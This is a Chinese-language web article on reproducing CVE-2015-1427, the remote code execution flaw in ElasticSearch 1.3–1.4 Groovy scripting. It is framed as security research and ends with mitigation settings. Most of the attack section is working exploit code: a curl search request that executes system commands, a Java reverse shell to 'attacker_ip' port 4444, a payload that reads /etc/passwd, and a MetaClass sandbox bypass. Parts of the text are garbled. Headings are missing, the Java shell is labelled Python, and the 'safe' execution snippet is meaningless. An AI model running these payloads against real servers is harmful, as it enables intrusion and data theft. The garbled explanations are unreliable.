您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# 如何分析ElasticSearch Groovy远程代码执行漏洞CVE-2015-1427复现
## 一、漏洞背景
### 1.1 漏洞概述
CVE-2015-1427是ElasticSearch 1.3.0-1.3.7和1.4.0-1.4.2版本中存在的远程代码执行漏洞。该漏洞源于Groovy脚本引擎的安全沙箱被绕过,攻击者可以构造恶意请求执行任意Java代码。
### 1.2 影响范围
- 受影响版本:
- ElasticSearch 1.3.x <= 1.3.7
- ElasticSearch 1.4.x <= 1.4.2
- 修复版本:
- ElasticSearch 1.3.8
- ElasticSearch 1.4.3
## 二、漏洞原理分析
### 2.1 Groovy脚本引擎机制
ElasticSearch使用Groovy作为默认脚本引擎,通过以下方式执行脚本:
```java
ScriptEngine engine = new GroovyScriptEngineFactory().getScriptEngine();
engine.eval("script_content");
漏洞核心在于Groovy沙箱的两个缺陷:
1. 未正确处理方法调用黑名单
2. 可以通过MetaClass
机制绕过限制
攻击者可以利用如下Payload绕过沙箱:
def command = "whoami"
def process = new ProcessBuilder(command).start()
process.waitFor()
使用Docker快速搭建:
docker pull elasticsearch:1.4.2
docker run -d -p 9200:9200 elasticsearch:1.4.2
访问http://localhost:9200
应返回类似信息:
{
"status" : 200,
"name" : "Talisman",
"version" : {
"number" : "1.4.2",
"build_hash" : "927caff6f05403e936c20bf4529f144f0c89fd8c",
"build_timestamp" : "2015-03-23T14:30:58Z"
}
}
执行系统命令:
curl -XPOST 'http://localhost:9200/_search?pretty' -d '{
"size": 1,
"script_fields": {
"exp_test": {
"script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"whoami\").getText()"
}
}
}'
构造Python反弹Shell:
String host="attacker_ip";
int port=4444;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
读取/etc/passwd文件:
{
"script": "new File(\"/etc/passwd\").text"
}
ElasticSearch在后续版本中: 1. 升级Groovy引擎版本 2. 加强沙箱限制策略 3. 默认禁用动态脚本执行
在配置文件中添加:
script.groovy.sandbox.enabled: false
script.inline: off
script.indexed: off
攻击者利用Groovy的特性:
// 通过getClass()获取Class对象
this.getClass().forName("java.lang.Runtime")
// 使用MetaClass绕过检查
this.metaClass.getMetaMethod("execute", [String] as Class[]).invoke(this, "malicious_code")
网络层:
主机层:
// 安全的脚本执行方式
ScriptEngine engine = new ScriptEngineManager().getEngineByName("groovy");
Bindings bindings = engine.createBindings();
bindings.put("safeMode", true);
engine.eval("1 + 1", bindings);
注意:本文仅用于安全研究学习,未经授权测试他人系统属于违法行为。实际测试请确保获得书面授权并在隔离环境进行。 “`
(全文约1600字,实际字数可能因排版略有差异)
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。